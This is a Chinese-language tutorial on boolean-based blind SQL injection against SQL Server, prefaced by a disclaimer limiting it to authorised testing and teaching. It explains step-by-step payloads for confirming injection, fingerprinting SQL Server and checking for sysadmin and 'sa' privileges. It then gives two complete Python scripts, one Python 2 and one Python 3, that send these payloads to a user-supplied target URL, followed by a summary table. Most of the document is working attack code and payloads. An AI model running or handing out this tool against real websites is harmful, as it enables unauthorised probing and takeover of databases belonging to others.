⚠️ 僅供授權滲透測試/安全教學使用,嚴禁用於非法入侵。
本腳本利用 SQL Server 注入點,通過布爾盲注逐步判斷:是否可注入 → 是否 SQL Server → 當前用戶是否 sysadmin → 是否為 sa。原理在於構造條件判斷語句,觀察頁面返回差異(判斷字符串是否出現)。
1. 基線檢測:id=1 and 1=2(假)→ 頁面無特徵字符串
id=1 and 1=1(真) → 頁面有特徵字符串
→ 確認存在布爾盲注點
2. 判斷 SQL Server:and exists(select * from sysobjects)
→ sysobjects 為 SQL Server 系統表,存在則為 SQL Server
3. 判斷 sysadmin:and 1=(select IS_SRVROLEMEMBER('sysadmin'))
→ 返回 1 則當前用戶具備 sysadmin 角色
4. 判斷 sa:and 'sa'=(select SYSTEM_USER)
→ SYSTEM_USER 返回當前登錄用戶名,匹配 'sa' 確認是 sa
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Code by zhaoxiaobu Email: little.bu@hotmail.com
import sys
from urllib import urlopen
from string import join, strip
from re import search
def is_sqlable():
sql1 = "%20and%201=2"
sql2 = "%20and%201=1"
html1 = urlopen(url + sql1).read()
html2 = urlopen(url + sql2).read()
if not search(judge, html1) and search(judge, html2):
print "[信息] 存在注入漏洞!"
print "[信息] 判斷是否 SQL Server..."
is_SQLServer()
else:
print "[錯誤] URL 不可用或無注入點"
sys.exit(1)
def is_SQLServer():
sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"
html = urlopen(url + sql).read()
if not search(judge, html):
print "[錯誤] 非 SQL Server"
else:
print "[信息] 確認為 SQL Server"
print "[信息] 檢測 sysadmin 權限..."
is_sysadmin()
def is_sysadmin():
sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
html = urlopen(url + sql).read()
if not search(judge, html):
print "[錯誤] 無 sysadmin 權限"
else:
print "[信息] 擁有 sysadmin 權限"
print "[信息] 檢測是否為 sa..."
is_sa()
def is_sa():
sql = "%20and%20'sa'=(select%20SYSTEM_USER)"
html = urlopen(url + sql).read()
if not search(judge, html):
print "[錯誤] 不是 sa"
else:
print "[信息] 當前用戶是 sa!"
print "\n########################################################################"
print " ^o^ SQL Server 注入利用工具 ^o^"
print " Email: little.bu@hotmail.com"
print "========================================================================"
url = raw_input('[信息] 輸入可能有注入的鏈接 (如 https://site.com/news.asp?id=1):\nURL: ')
if not url: sys.exit(1)
judge = raw_input('[信息] 輸入判斷特徵字符串 (頁面穩定出現的唯一標識):\n判斷字符串: ')
if not judge: sys.exit(1)
is_sqlable()
#!/usr/bin/env python3
import sys, re
from urllib.request import urlopen
from urllib.parse import quote
def fetch(payload):
try:
return urlopen(url + quote(payload), timeout=10).read().decode('utf-8', 'ignore')
except Exception as e:
print(f"[網絡錯誤] {e}")
sys.exit(1)
def check(payload):
return judge in fetch(payload)
# 主流程
if not (check(" and 1=1") and not check(" and 1=2")):
print("[-] 無布爾注入點"); sys.exit(1)
print("[+] 存在布爾盲注")
if not check(" and exists(select * from sysobjects)"):
print("[-] 非 SQL Server"); sys.exit(1)
print("[+] 確認 SQL Server")
if not check(" and 1=(select IS_SRVROLEMEMBER('sysadmin'))"):
print("[-] 非 sysadmin"); sys.exit(1)
print("[+] 擁有 sysadmin")
if check(" and 'sa'=(select SYSTEM_USER)"):
print("[+] 當前用戶是 sa!")
else:
print("[-] 非 sa 用戶")
| 技術 | 說明 |
|---|---|
| 布爾盲注 | 通過頁面邏輯差異(特徵字符串出現/消失)推斷條件真假 |
| 判斷字符串 | 頁面中穩定存在、且受注入條件影響的文本(如文章標題、版權信息) |
| URL 編碼 | payload 需 URL encode,Python 3 用 urllib.parse.quote |
| 系統函數 | IS_SRVROLEMEMBER、SYSTEM_USER、sysobjects 為 SQL Server 專有 |